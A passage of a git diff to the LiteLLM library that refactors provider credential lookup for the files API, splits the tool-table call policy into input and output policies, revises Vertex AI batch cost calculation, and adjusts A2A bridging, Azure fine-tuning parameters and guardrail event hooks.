LiteLLM_SpendLogToolIndex { + request_id String + tool_name String // matches LiteLLM_ToolTable.tool_name; join for input_policy/output_policy etc. + start_time DateTime + + @@id([request_id, tool_name]) + @@index([tool_name, start_time]) +} + // Prompt table for storing prompt configurations model LiteLLM_PromptTable { id String @id @default(uuid()) @@ -1065,26 +1076,31 @@ model LiteLLM_PolicyAttachmentTable { updated_by String? } -// Global tool registry - auto-discovered from LLM responses; admins set call_policy here +// Global tool registry - auto-discovered from LLM responses; admins set input_policy/output_policy here model LiteLLM_ToolTable { - tool_id String @id @default(uuid()) - tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" - origin String? // MCP server name or "user_defined" - call_policy String @default("untrusted") // "trusted" | "untrusted" | "dual_llm" | "blocked" - call_count Int @default(0) // cumulative number of times this tool was seen - assignments Json? @default("{}") - key_hash String? // hash of the virtual key that first called this tool - team_id String? // team that first called this tool - key_alias String? // human-readable alias of the virtual key - created_at DateTime @default(now()) - created_by String? - updated_at DateTime @default(now()) @updatedAt - updated_by String? + tool_id String @id @default(uuid()) + tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" + origin String? // MCP server name or "user_defined" + input_policy String @default("untrusted") // "trusted" | "untrusted" | "blocked" + output_policy String @default("untrusted") // "trusted" | "untrusted" + call_count Int @default(0) // cumulative number of times this tool was seen + assignments Json? @default("{}") + key_hash String? // hash of the virtual key that first called this tool + team_id String? // team that first called this tool + key_alias String? // human-readable alias of the virtual key + user_agent String? // user-agent of the first request that discovered this tool + last_used_at DateTime? // timestamp of the most recent call + created_at DateTime @default(now()) + created_by String? + updated_at DateTime @default(now()) @updatedAt + updated_by String? - @@index([call_policy]) + @@index([input_policy]) + @@index([output_policy]) @@index([team_id]) } +// Per-(tool, team/key) policy overrides. When present, override replaces global tool policy for that scope. //Unified Access Groups table for storing unified access groups model LiteLLM_AccessGroupTable { access_group_id String @id @default(uuid()) diff --git a/litellm/__init__.py b/litellm/__init__.py index 84b8e47c462..57e9cb25f43 100644 --- a/litellm/__init__.py +++ b/litellm/__init__.py @@ -1246,6 +1246,7 @@ from .ocr.main import * from .rag.main import * from .search.main import * from .realtime_api.main import _arealtime +from .responses.main import _aresponses_websocket from .fine_tuning.main import * from .files.main import * from .vector_store_files.main import ( diff --git a/litellm/a2a_protocol/main.py b/litellm/a2a_protocol/main.py index 642dfaf023c..401b602fef5 100644 --- a/litellm/a2a_protocol/main.py +++ b/litellm/a2a_protocol/main.py @@ -24,11 +24,7 @@ from litellm.utils import client if TYPE_CHECKING: from a2a.client import A2AClient as A2AClientType - from a2a.types import ( - AgentCard, - SendMessageRequest, - SendStreamingMessageRequest, - ) + from a2a.types import AgentCard, SendMessageRequest, SendStreamingMessageRequest # Runtime imports with availability check A2A_SDK_AVAILABLE = False @@ -124,13 +120,48 @@ def _get_a2a_model_info(a2a_client: Any, kwargs: Dict[str, Any]) -> str: litellm_logging_obj.model = model litellm_logging_obj.custom_llm_provider = custom_llm_provider litellm_logging_obj.model_call_details["model"] = model - litellm_logging_obj.model_call_details[ - "custom_llm_provider" - ] = custom_llm_provider + litellm_logging_obj.model_call_details["custom_llm_provider"] = ( + custom_llm_provider + ) return agent_name +async def _send_message_via_completion_bridge( + request: "SendMessageRequest", + custom_llm_provider: str, + api_base: Optional[str], + litellm_params: Dict[str, Any], +) -> LiteLLMSendMessageResponse: + """ + Route a send_message through the LiteLLM completion bridge (e.g. LangGraph, Bedrock AgentCore). + + Requires request; api_base is optional for providers that derive endpoint from model. + """ + verbose_logger.info( + f"A2A using completion bridge: provider={custom_llm_provider}, api_base={api_base}" + ) + + from litellm.a2a_protocol.litellm_completion_bridge.handler import ( + A2ACompletionBridgeHandler, + ) + + params = ( + request.params.model_dump(mode="json") + if hasattr(request.params, "model_dump") + else dict(request.params) + ) + + response_dict = await A2ACompletionBridgeHandler.handle_non_streaming( + request_id=str(request.id), + params=params, + litellm_params=litellm_params, + api_base=api_base, + ) + + return LiteLLMSendMessageResponse.from_dict(response_dict) + + @client async def asend_message( a2a_client: Optional["A2AClientType"] = None, @@ -193,39 +224,21 @@ async def asend_message( ``` """ litellm_params = litellm_params or {} + logging_obj = kwargs.get("litellm_logging_obj") + trace_id = getattr(logging_obj, "litellm_trace_id", None) if logging_obj else None custom_llm_provider = litellm_params.get("custom_llm_provider") # Route through completion bridge if custom_llm_provider is set if custom_llm_provider: if request is None: raise ValueError("request is required for completion bridge") - # api_base is optional for providers that derive endpoint from model (e.g., bedrock/agentcore) - - verbose_logger.info( - f"A2A using completion bridge: provider={custom_llm_provider}, api_base={api_base}" - ) - - from litellm.a2a_protocol.litellm_completion_bridge.handler import ( - A2ACompletionBridgeHandler, - ) - - # Extract params from request - params = ( - request.params.model_dump(mode="json") - if hasattr(request.params, "model_dump") - else dict(request.params) - ) - - response_dict = await A2ACompletionBridgeHandler.handle_non_streaming( - request_id=str(request.id), - params=params, - litellm_params=litellm_params, + return await _send_message_via_completion_bridge( + request=request, + custom_llm_provider=custom_llm_provider, api_base=api_base, + litellm_params=litellm_params, ) - # Convert to LiteLLMSendMessageResponse - return LiteLLMSendMessageResponse.from_dict(response_dict) - # Standard A2A client flow if request is None: raise ValueError("request is required") @@ -236,11 +249,13 @@ async def asend_message( raise ValueError( "Either a2a_client or api_base is required for standard A2A flow" ) - trace_id = str(uuid.uuid4()) + trace_id = trace_id or str(uuid.uuid4()) extra_headers = {"X-LiteLLM-Trace-Id": trace_id} if agent_id: extra_headers["X-LiteLLM-Agent-Id"] = agent_id - a2a_client = await create_a2a_client(base_url=api_base, extra_headers=extra_headers) + a2a_client = await create_a2a_client( + base_url=api_base, extra_headers=extra_headers + ) # Type assertion: a2a_client is guaranteed to be non-None here assert a2a_client is not None @@ -255,6 +270,10 @@ async def asend_message( ) card_url = getattr(agent_card, "url", None) if agent_card else None + context_id = trace_id or str(uuid.uuid4()) + if request.params.message.context_id is None: + request.params.message.context_id = context_id + # Retry loop: if connection fails due to localhost URL in agent card, retry with fixed URL a2a_response = None for _ in range(2): # max 2 attempts: original + 1 retry @@ -606,7 +625,9 @@ async def create_a2a_client( if extra_headers: httpx_client.headers.update(extra_headers) - verbose_proxy_logger.debug(f"A2A client created with extra_headers={extra_headers}") + verbose_proxy_logger.debug( + f"A2A client created with extra_headers={extra_headers}" + ) # Resolve agent card resolver = A2ACardResolver( diff --git a/litellm/batches/batch_utils.py b/litellm/batches/batch_utils.py index 29bd99c2a60..a55e30ebeb9 100644 --- a/litellm/batches/batch_utils.py +++ b/litellm/batches/batch_utils.py @@ -1,14 +1,10 @@ import json -import time from typing import Any, List, Literal, Optional, Tuple -import httpx - import litellm from litellm._logging import verbose_logger -from litellm._uuid import uuid from litellm.types.llms.openai import Batch -from litellm.types.utils import CallTypes, ModelInfo, ModelResponse, Usage +from litellm.types.utils import CallTypes, ModelInfo, Usage from litellm.utils import token_counter @@ -128,73 +124,58 @@ def calculate_vertex_ai_batch_cost_and_usage( model_name: Optional[str] = None, ) -> Tuple[float, Usage]: """ - Calculate both cost and usage from Vertex AI batch responses + Calculate both cost and usage from Vertex AI batch responses. + + Vertex AI batch output lines have format: + {"request": ..., "status": "", "response": {"candidates": [...], "usageMetadata": {...}}} + + usageMetadata contains promptTokenCount, candidatesTokenCount, totalTokenCount. """ - from litellm.litellm_core_utils.litellm_logging import Logging - from litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini import ( - VertexGeminiConfig, - ) + from litellm.cost_calculator import batch_cost_calculator + total_cost = 0.0 total_tokens = 0 prompt_tokens = 0 completion_tokens = 0 - - for response in vertex_ai_batch_responses: - if response.get("status") == "JOB_STATE_SUCCEEDED": # Check if response was successful - # Transform Vertex AI response to OpenAI format if needed + actual_model_name = model_name or "gemini-2.0-flash-001" - # Create required arguments for the transformation method - model_response = ModelResponse() - - # Ensure model_name is not None - actual_model_name = model_name or "gemini-2.5-flash" - - # Create a real LiteLLM logging object - logging_obj = Logging( + for response in vertex_ai_batch_responses: + response_body = response.get("response") + if response_body is None: + continue + + usage_metadata = response_body.get("usageMetadata", {}) + _prompt = usage_metadata.get("promptTokenCount", 0) or 0 + _completion = usage_metadata.get("candidatesTokenCount", 0) or 0 + _total = usage_metadata.get("totalTokenCount", 0) or (_prompt + _completion) + + line_usage = Usage( + prompt_tokens=_prompt, + completion_tokens=_completion, + total_tokens=_total, + ) + + try: + p_cost, c_cost = batch_cost_calculator( + usage=line_usage, model=actual_model_name, - messages=[{"role": "user", "content": "batch_request"}], - stream=False, - call_type=CallTypes.aretrieve_batch, - start_time=time.time(), - litellm_call_id="batch_" + str(uuid.uuid4()), - function_id="batch_processing", - litellm_trace_id=str(uuid.uuid4()), - kwargs={"optional_params": {}} - ) - - # Add the optional_params attribute that the Vertex AI transformation expects - logging_obj.optional_params = {} - raw_response = httpx.Response(200) # Mock response object - - openai_format_response = VertexGeminiConfig()._transform_google_generate_content_to_openai_model_response( - completion_response=response["response"], - model_response=model_response, - model=actual_model_name, - logging_obj=logging_obj, - raw_response=raw_response, - ) - - # Calculate cost using existing function - cost = litellm.completion_cost( - completion_response=openai_format_response, custom_llm_provider="vertex_ai", - call_type=CallTypes.aretrieve_batch.value, ) - total_cost += cost - - # Extract usage from the transformed response - usage_obj = getattr(openai_format_response, 'usage', None) - if usage_obj: - usage = usage_obj - else: - # Fallback: create usage from response dict - response_dict = openai_format_response.dict() if hasattr(openai_format_response, 'dict') else {} - usage = _get_batch_job_usage_from_response_body(response_dict) - - total_tokens += usage.total_tokens - prompt_tokens += usage.prompt_tokens - completion_tokens += usage.completion_tokens - + total_cost += p_cost + c_cost + except Exception as e: + verbose_logger.debug( + "vertex_ai batch cost calculation error for line: %s", str(e) + ) + + prompt_tokens += _prompt + completion_tokens += _completion + total_tokens += _total + + verbose_logger.info( + "vertex_ai batch cost: cost=%s, prompt=%d, completion=%d, total=%d", + total_cost, prompt_tokens, completion_tokens, total_tokens, + ) + return total_cost, Usage( total_tokens=total_tokens, prompt_tokens=prompt_tokens, diff --git a/litellm/batches/main.py b/litellm/batches/main.py index 9553d2c5246..e69c5a5c377 100644 --- a/litellm/batches/main.py +++ b/litellm/batches/main.py @@ -112,6 +112,7 @@ async def acreate_batch( metadata: Optional[Dict[str, str]] = None, extra_headers: Optional[Dict[str, str]] = None, extra_body: Optional[Dict[str, str]] = None, + output_expires_after: Optional[Dict[str, Any]] = None, **kwargs, ) -> LiteLLMBatch: """ @@ -133,6 +134,7 @@ async def acreate_batch( metadata, extra_headers, extra_body, + output_expires_after, **kwargs, ) @@ -152,7 +154,7 @@ async def acreate_batch( @client -def create_batch( +def create_batch( # noqa: PLR0915 completion_window: Literal["24h"], endpoint: Literal["/v1/chat/completions", "/v1/embeddings", "/v1/completions"], input_file_id: str, @@ -160,6 +162,7 @@ def create_batch( metadata: Optional[Dict[str, str]] = None, extra_headers: Optional[Dict[str, str]] = None, extra_body: Optional[Dict[str, str]] = None, + output_expires_after: Optional[Dict[str, Any]] = None, **kwargs, ) -> Union[LiteLLMBatch, Coroutine[Any, Any, LiteLLMBatch]]: """ @@ -215,6 +218,8 @@ def create_batch( extra_headers=extra_headers, extra_body=extra_body, ) + if output_expires_after is not None: + _create_batch_request["output_expires_after"] = output_expires_after if model is not None: provider_config = ProviderConfigManager.get_provider_batches_config( model=model, diff --git a/litellm/files/main.py b/litellm/files/main.py index 78e41bb5a68..2a10789e741 100644 --- a/litellm/files/main.py +++ b/litellm/files/main.py @@ -7,7 +7,6 @@ https://platform.openai.com/docs/api-reference/files import asyncio import contextvars -import os import time import uuid as uuid_module from functools import partial @@ -20,10 +19,12 @@ from litellm import get_secret_str from litellm.litellm_core_utils.get_llm_provider_logic import get_llm_provider from litellm.litellm_core_utils.litellm_logging import Logging as LiteLLMLoggingObj from litellm.llms.anthropic.files.handler import AnthropicFilesHandler +from litellm.llms.azure.common_utils import get_azure_credentials from litellm.llms.azure.files.handler import AzureOpenAIFilesAPI from litellm.llms.bedrock.files.handler import BedrockFilesHandler from litellm.llms.custom_httpx.http_handler import AsyncHTTPHandler, HTTPHandler from litellm.llms.custom_httpx.llm_http_handler import BaseLLMHTTPHandler +from litellm.llms.openai.common_utils import get_openai_credentials from litellm.llms.openai.openai import FileDeleted, FileObject, OpenAIFilesAPI from litellm.llms.vertex_ai.files.handler import VertexAIFilesHandler from litellm.types.llms.openai import ( @@ -185,95 +186,36 @@ def create_file( timeout=timeout, ) elif custom_llm_provider in OPENAI_COMPATIBLE_BATCH_AND_FILES_PROVIDERS: - # for deepinfra/perplexity/anyscale/groq we check in get_llm_provider and pass in the api base from there - api_base = ( - optional_params.api_base - or litellm.api_base - or os.getenv("OPENAI_BASE_URL") - or os.getenv("OPENAI_API_BASE") - or "https://api.openai.com/v1" + openai_creds = get_openai_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + organization=optional_params.organization, ) - organization = ( - optional_params.organization - or litellm.organization - or os.getenv("OPENAI_ORGANIZATION", None) - or None # default - https://github.com/openai/openai-python/blob/284c1799070c723c6a553337134148a7ab088dd8/openai/util.py#L105 - ) - # set API KEY - api_key = ( - optional_params.api_key - or litellm.api_key # for deepinfra/perplexity/anyscale we check in get_llm_provider and pass in the api key from there - or litellm.openai_key - or os.getenv("OPENAI_API_KEY") - ) - response = openai_files_instance.create_file( _is_async=_is_async, - api_base=api_base, - api_key=api_key, + api_base=openai_creds.api_base, + api_key=openai_creds.api_key, timeout=timeout, max_retries=optional_params.max_retries, - organization=organization, + organization=openai_creds.organization, create_file_data=_create_file_request, ) elif custom_llm_provider == "azure": - api_base = optional_params.api_base or litellm.api_base or get_secret_str("AZURE_API_BASE") # type: ignore - api_version = ( - optional_params.api_version - or litellm.api_version - or get_secret_str("AZURE_API_VERSION") - ) # type: ignore - - api_key = ( - optional_params.api_key - or litellm.api_key - or litellm.azure_key - or get_secret_str("AZURE_OPENAI_API_KEY") - or get_secret_str("AZURE_API_KEY") - ) # type: ignore - - extra_body = optional_params.get("extra_body", {}) - if extra_body is not None: - extra_body.pop("azure_ad_token", None) - else: - get_secret_str("AZURE_AD_TOKEN") # type: ignore - + azure_creds = get_azure_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + api_version=optional_params.api_version, + ) response = azure_files_instance.create_file( _is_async=_is_async, - api_base=api_base, - api_key=api_key, - api_version=api_version, + api_base=azure_creds.api_base, + api_key=azure_creds.api_key, + api_version=azure_creds.api_version, timeout=timeout, max_retries=optional_params.max_retries, create_file_data=_create_file_request, litellm_params=litellm_params_dict, ) - elif custom_llm_provider == "vertex_ai": - api_base = optional_params.api_base or "" - vertex_ai_project = ( - optional_params.vertex_project - or litellm.vertex_project - or get_secret_str("VERTEXAI_PROJECT") - ) - vertex_ai_location = ( - optional_params.vertex_location - or litellm.vertex_location - or get_secret_str("VERTEXAI_LOCATION") - ) - vertex_credentials = optional_params.vertex_credentials or get_secret_str( - "VERTEXAI_CREDENTIALS" - ) - - response = vertex_ai_files_instance.create_file( - _is_async=_is_async, - api_base=api_base, - vertex_project=vertex_ai_project, - vertex_location=vertex_ai_location, - vertex_credentials=vertex_credentials, - timeout=timeout, - max_retries=optional_params.max_retries, - create_file_data=_create_file_request, - ) else: raise litellm.exceptions.BadRequestError( message="LiteLLM doesn't support {} for 'create_file'. Only ['openai', 'azure', 'vertex_ai', 'manus'] are supported.".format( @@ -295,7 +237,7 @@ def create_file( @client async def afile_retrieve( file_id: str, - custom_llm_provider: Literal["openai", "azure", "gemini", "hosted_vllm", "manus"] = "openai", + custom_llm_provider: Literal["openai", "azure", "gemini", "vertex_ai", "hosted_vllm", "manus"] = "openai", extra_headers: Optional[Dict[str, str]] = None, extra_body: Optional[Dict[str, str]] = None, **kwargs, @@ -336,7 +278,7 @@ async def afile_retrieve( @client def file_retrieve( file_id: str, - custom_llm_provider: Literal["openai", "azure", "hosted_vllm", "manus"] = "openai", + custom_llm_provider: Literal["openai", "azure", "gemini", "vertex_ai", "hosted_vllm", "manus"] = "openai", extra_headers: Optional[Dict[str, str]] = None, extra_body: Optional[Dict[str, str]] = None, **kwargs, @@ -367,64 +309,31 @@ def file_retrieve( _is_async = kwargs.pop("is_async", False) is True if custom_llm_provider in OPENAI_COMPATIBLE_BATCH_AND_FILES_PROVIDERS: - # for deepinfra/perplexity/anyscale/groq we check in get_llm_provider and pass in the api base from there - api_base = ( - optional_params.api_base - or litellm.api_base - or os.getenv("OPENAI_BASE_URL") - or os.getenv("OPENAI_API_BASE") - or "https://api.openai.com/v1" + openai_creds = get_openai_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + organization=optional_params.organization, ) - organization = ( - optional_params.organization - or litellm.organization - or os.getenv("OPENAI_ORGANIZATION", None) - or None # default - https://github.com/openai/openai-python/blob/284c1799070c723c6a553337134148a7ab088dd8/openai/util.py#L105 - ) - # set API KEY - api_key = ( - optional_params.api_key - or litellm.api_key # for deepinfra/perplexity/anyscale we check in get_llm_provider and pass in the api key from there - or litellm.openai_key - or os.getenv("OPENAI_API_KEY") - ) - response = openai_files_instance.retrieve_file( file_id=file_id, _is_async=_is_async, - api_base=api_base, - api_key=api_key, + api_base=openai_creds.api_base, + api_key=openai_creds.api_key, timeout=timeout, max_retries=optional_params.max_retries, - organization=organization, + organization=openai_creds.organization, ) elif custom_llm_provider == "azure": - api_base = optional_params.api_base or litellm.api_base or get_secret_str("AZURE_API_BASE") # type: ignore - api_version = ( - optional_params.api_version - or litellm.api_version - or get_secret_str("AZURE_API_VERSION") - ) # type: ignore - - api_key = ( - optional_params.api_key - or litellm.api_key - or litellm.azure_key - or get_secret_str("AZURE_OPENAI_API_KEY") - or get_secret_str("AZURE_API_KEY") - ) # type: ignore - - extra_body = optional_params.get("extra_body", {}) - if extra_body is not None: - extra_body.pop("azure_ad_token", None) - else: - get_secret_str("AZURE_AD_TOKEN") # type: ignore - + azure_creds = get_azure_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + api_version=optional_params.api_version, + ) response = azure_files_instance.retrieve_file( _is_async=_is_async, - api_base=api_base, - api_key=api_key, - api_version=api_version, + api_base=azure_creds.api_base, + api_key=azure_creds.api_key, + api_version=azure_creds.api_version, timeout=timeout, max_retries=optional_params.max_retries, file_id=file_id, @@ -576,63 +485,31 @@ def file_delete( timeout = 600.0 _is_async = kwargs.pop("is_async", False) is True if custom_llm_provider in OPENAI_COMPATIBLE_BATCH_AND_FILES_PROVIDERS: - # for deepinfra/perplexity/anyscale/groq we check in get_llm_provider and pass in the api base from there - api_base = ( - optional_params.api_base - or litellm.api_base - or os.getenv("OPENAI_BASE_URL") - or os.getenv("OPENAI_API_BASE") - or "https://api.openai.com/v1" - ) - organization = ( - optional_params.organization - or litellm.organization - or os.getenv("OPENAI_ORGANIZATION", None) - or None # default - https://github.com/openai/openai-python/blob/284c1799070c723c6a553337134148a7ab088dd8/openai/util.py#L105 - ) - # set API KEY - api_key = ( - optional_params.api_key - or litellm.api_key # for deepinfra/perplexity/anyscale we check in get_llm_provider and pass in the api key from there - or litellm.openai_key - or os.getenv("OPENAI_API_KEY") + openai_creds = get_openai_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + organization=optional_params.organization, ) response = openai_files_instance.delete_file( file_id=file_id, _is_async=_is_async, - api_base=api_base, - api_key=api_key, + api_base=openai_creds.api_base, + api_key=openai_creds.api_key, timeout=timeout, max_retries=optional_params.max_retries, - organization=organization, + organization=openai_creds.organization, ) elif custom_llm_provider == "azure": - api_base = optional_params.api_base or litellm.api_base or get_secret_str("AZURE_API_BASE") # type: ignore - api_version = ( - optional_params.api_version - or litellm.api_version - or get_secret_str("AZURE_API_VERSION") - ) # type: ignore - - api_key = ( - optional_params.api_key - or litellm.api_key - or litellm.azure_key - or get_secret_str("AZURE_OPENAI_API_KEY") - or get_secret_str("AZURE_API_KEY") - ) # type: ignore - - extra_body = optional_params.get("extra_body", {}) - if extra_body is not None: - extra_body.pop("azure_ad_token", None) - else: - get_secret_str("AZURE_AD_TOKEN") # type: ignore - + azure_creds = get_azure_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + api_version=optional_params.api_version, + ) response = azure_files_instance.delete_file( _is_async=_is_async, - api_base=api_base, - api_key=api_key, - api_version=api_version, + api_base=azure_creds.api_base, + api_key=azure_creds.api_key, + api_version=azure_creds.api_version, timeout=timeout, max_retries=optional_params.max_retries, file_id=file_id, @@ -815,64 +692,31 @@ def file_list( ) return response elif custom_llm_provider in OPENAI_COMPATIBLE_BATCH_AND_FILES_PROVIDERS: - # for deepinfra/perplexity/anyscale/groq we check in get_llm_provider and pass in the api base from there - api_base = ( - optional_params.api_base - or litellm.api_base - or os.getenv("OPENAI_BASE_URL") - or os.getenv("OPENAI_API_BASE") - or "https://api.openai.com/v1" + openai_creds = get_openai_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + organization=optional_params.organization, ) - organization = ( - optional_params.organization - or litellm.organization - or os.getenv("OPENAI_ORGANIZATION", None) - or None # default - https://github.com/openai/openai-python/blob/284c1799070c723c6a553337134148a7ab088dd8/openai/util.py#L105 - ) - # set API KEY - api_key = ( - optional_params.api_key - or litellm.api_key # for deepinfra/perplexity/anyscale we check in get_llm_provider and pass in the api key from there - or litellm.openai_key - or os.getenv("OPENAI_API_KEY") - ) - response = openai_files_instance.list_files( purpose=purpose, _is_async=_is_async, - api_base=api_base, - api_key=api_key, + api_base=openai_creds.api_base, + api_key=openai_creds.api_key, timeout=timeout, max_retries=optional_params.max_retries, - organization=organization, + organization=openai_creds.organization, ) elif custom_llm_provider == "azure": - api_base = optional_params.api_base or litellm.api_base or get_secret_str("AZURE_API_BASE") # type: ignore - api_version = ( - optional_params.api_version - or litellm.api_version - or get_secret_str("AZURE_API_VERSION") - ) # type: ignore - - api_key = ( - optional_params.api_key - or litellm.api_key - or litellm.azure_key - or get_secret_str("AZURE_OPENAI_API_KEY") - or get_secret_str("AZURE_API_KEY") - ) # type: ignore - - extra_body = optional_params.get("extra_body", {}) - if extra_body is not None: - extra_body.pop("azure_ad_token", None) - else: - get_secret_str("AZURE_AD_TOKEN") # type: ignore - + azure_creds = get_azure_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + api_version=optional_params.api_version, + ) response = azure_files_instance.list_files( _is_async=_is_async, - api_base=api_base, - api_key=api_key, - api_version=api_version, + api_base=azure_creds.api_base, + api_key=azure_creds.api_key, + api_version=azure_creds.api_version, timeout=timeout, max_retries=optional_params.max_retries, purpose=purpose, @@ -1003,64 +847,31 @@ def file_content( return response if custom_llm_provider in OPENAI_COMPATIBLE_BATCH_AND_FILES_PROVIDERS: - # for deepinfra/perplexity/anyscale/groq we check in get_llm_provider and pass in the api base from there - api_base = ( - optional_params.api_base - or litellm.api_base - or os.getenv("OPENAI_BASE_URL") - or os.getenv("OPENAI_API_BASE") - or "https://api.openai.com/v1" + openai_creds = get_openai_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + organization=optional_params.organization, ) - organization = ( - optional_params.organization - or litellm.organization - or os.getenv("OPENAI_ORGANIZATION", None) - or None # default - https://github.com/openai/openai-python/blob/284c1799070c723c6a553337134148a7ab088dd8/openai/util.py#L105 - ) - # set API KEY - api_key = ( - optional_params.api_key - or litellm.api_key # for deepinfra/perplexity/anyscale we check in get_llm_provider and pass in the api key from there - or litellm.openai_key - or os.getenv("OPENAI_API_KEY") - ) - response = openai_files_instance.file_content( _is_async=_is_async, file_content_request=_file_content_request, - api_base=api_base, - api_key=api_key, + api_base=openai_creds.api_base, + api_key=openai_creds.api_key, timeout=timeout, max_retries=optional_params.max_retries, - organization=organization, + organization=openai_creds.organization, ) elif custom_llm_provider == "azure": - api_base = optional_params.api_base or litellm.api_base or get_secret_str("AZURE_API_BASE") # type: ignore - api_version = ( - optional_params.api_version - or litellm.api_version - or get_secret_str("AZURE_API_VERSION") - ) # type: ignore - - api_key = ( - optional_params.api_key - or litellm.api_key - or litellm.azure_key - or get_secret_str("AZURE_OPENAI_API_KEY") - or get_secret_str("AZURE_API_KEY") - ) # type: ignore - - extra_body = optional_params.get("extra_body", {}) - if extra_body is not None: - extra_body.pop("azure_ad_token", None) - else: - get_secret_str("AZURE_AD_TOKEN") # type: ignore - + azure_creds = get_azure_credentials( + api_base=optional_params.api_base, + api_key=optional_params.api_key, + api_version=optional_params.api_version, + ) response = azure_files_instance.file_content( _is_async=_is_async, - api_base=api_base, - api_key=api_key, - api_version=api_version, + api_base=azure_creds.api_base, + api_key=azure_creds.api_key, + api_version=azure_creds.api_version, timeout=timeout, max_retries=optional_params.max_retries, file_content_request=_file_content_request, diff --git a/litellm/fine_tuning/main.py b/litellm/fine_tuning/main.py index f5b8b097026..db77fa32919 100644 --- a/litellm/fine_tuning/main.py +++ b/litellm/fine_tuning/main.py @@ -34,6 +34,44 @@ vertex_fine_tuning_apis_instance = VertexFineTuningAPI() ################################################# +def _prepare_azure_extra_body( + extra_body: Optional[Dict[str, Any]], + kwargs: Dict[str, Any], + azure_specific_hyperparams: Dict[str, Any], +) -> Dict[str, Any]: + """ + Prepare extra_body for Azure fine-tuning API by combining Azure-specific parameters. + + Azure fine-tuning API accepts additional parameters beyond the standard OpenAI spec: + - trainingType: Type of training (e.g., 1 for supervised fine-tuning) + - prompt_loss_weight: Weight for prompt loss in training + + These parameters must be passed in the extra_body field when calling the Azure OpenAI SDK. + + Args: + extra_body: Optional existing extra_body dict + kwargs: Request kwargs that may contain Azure-specific parameters + azure_specific_hyperparams: Dict of Azure-specific hyperparameters already extracted + + Returns: + Dict containing all Azure-specific parameters to be passed in extra_body + """ + if extra_body is None: + extra_body = {} + + # Azure-specific root-level parameters + azure_specific_params = ["trainingType"] + for param in azure_specific_params: + if param in kwargs: + extra_body[param] = kwargs[param] + + # Add Azure-specific hyperparameters + if azure_specific_hyperparams: + extra_body.update(azure_specific_hyperparams) + + return extra_body + + @client async def acreate_fine_tuning_job( model: str, @@ -114,6 +152,15 @@ def create_fine_tuning_job( # handle hyperparameters hyperparameters = hyperparameters or {} # original hyperparameters + + # For Azure, extract Azure-specific hyperparameters before creating OpenAI-spec hyperparameters + azure_specific_hyperparams = {} + if custom_llm_provider == "azure": + azure_hyperparameter_keys = ["prompt_loss_weight"] + for key in azure_hyperparameter_keys: + if key in hyperparameters: + azure_specific_hyperparams[key] = hyperparameters.pop(key) + _oai_hyperparameters: Hyperparameters = Hyperparameters( **hyperparameters ) # Typed Hyperparameters for OpenAI Spec @@ -207,6 +254,10 @@ def create_fine_tuning_job( extra_body.pop("azure_ad_token", None) else: get_secret_str("AZURE_AD_TOKEN") # type: ignore + + # Prepare Azure-specific parameters for extra_body + extra_body = _prepare_azure_extra_body(extra_body, kwargs, azure_specific_hyperparams) + create_fine_tuning_job_data = FineTuningJobCreate( model=model, training_file=training_file, @@ -220,6 +271,10 @@ def create_fine_tuning_job( create_fine_tuning_job_data_dict = create_fine_tuning_job_data.model_dump( exclude_none=True ) + + # Add extra_body if it has Azure-specific parameters + if extra_body: + create_fine_tuning_job_data_dict["extra_body"] = extra_body response = azure_fine_tuning_apis_instance.create_fine_tuning_job( api_base=api_base, diff --git a/litellm/integrations/custom_guardrail.py b/litellm/integrations/custom_guardrail.py index 5d11fd68475..269797b9873 100644 --- a/litellm/integrations/custom_guardrail.py +++ b/litellm/integrations/custom_guardrail.py @@ -235,8 +235,13 @@ class CustomGuardrail(CustomLogger): list(event_hook.tags.values()), supported_event_hooks ) if event_hook.default: + default_list = ( + event_hook.default + if isinstance(event_hook.default, list) + else [event_hook.default] + ) _validate_event_hook_list_is_in_supported_event_hooks( - [event_hook.default], supported_event_hooks + default_list, supported_event_hooks ) elif isinstance(event_hook, GuardrailEventHooks): if event_hook not in supported_event_hooks: @@ -415,7 +420,7 @@ class CustomGuardrail(CustomLogger): "Setting tag-based guardrails is only available in litellm-enterprise. You must be a premium user to use this feature." ) result = EnterpriseCustomGuardrailHelper._should_run_if_mode_by_tag( - data, self.event_hook + data, self.event_hook, event_type ) if result is not None: return result @@ -442,7 +447,7 @@ class CustomGuardrail(CustomLogger): "Setting tag-based guardrails is only available in litellm-enterprise. You must be a premium user to use this feature." ) result = EnterpriseCustomGuardrailHelper._should_run_if_mode_by_tag( - data, self.event_hook + data, self.event_hook, event_type ) if result is not None: return result @@ -461,7 +466,16 @@ class CustomGuardrail(CustomLogger): if isinstance(self.event_hook, list): return event_type.value in self.event_hook if isinstance(self.event_hook, Mode): - return event_type.value in self.event_hook.tags.values() + if event_type.value in self.event_hook.tags.values(): + return True + if self.event_hook.default: + default_list = ( + self.event_hook.default + if isinstance(self.event_hook.default, list) + else [self.event_hook.default] + ) + return event_type.value in default_list + return False return self.event_hook == event_type.value def get_guardrail_dynamic_request_body_params(self, request_data: dict) -> dict: diff --git a/litellm/integrations/helicone.py b/litellm/integrations/helicone.py index c77a1b2564a..51e6699c5f4 100644 --- a/litellm/integrations/helicone.py +++ b/litellm/integrations/helicone.py @@ -167,12 +167,12 @@ class HeliconeLogger: if "claude" in model and not is_vertex_ai: url = f"{self.api_base}/anthropic/v1/log" provider_url = "https://api.anthropic.com/v1/messages" - elif "gemini" in model: - url = f"{self.api_base}/custom/v1/log" - provider_url = "https://generativelanguage.googleapis.com/v1beta" elif is_vertex_ai: url = f"{self.api_base}/custom/v1/log" provider_url = "https://aiplatform.googleapis.com/v1" + elif "gemini" in model: + url = f"{self.api_base}/custom/v1/log" + provider_url = "https://generativelanguage.googleapis.com/v1beta" headers = { "Authorization": f"Bearer {self.key}", "Content-Type": "application/json", diff --git a/litellm/litellm_core_utils/exception_mapping_utils.py b/litellm/litellm_core_utils/exception_mapping_utils.py index dde44cced36..951485130b3 100644 --- 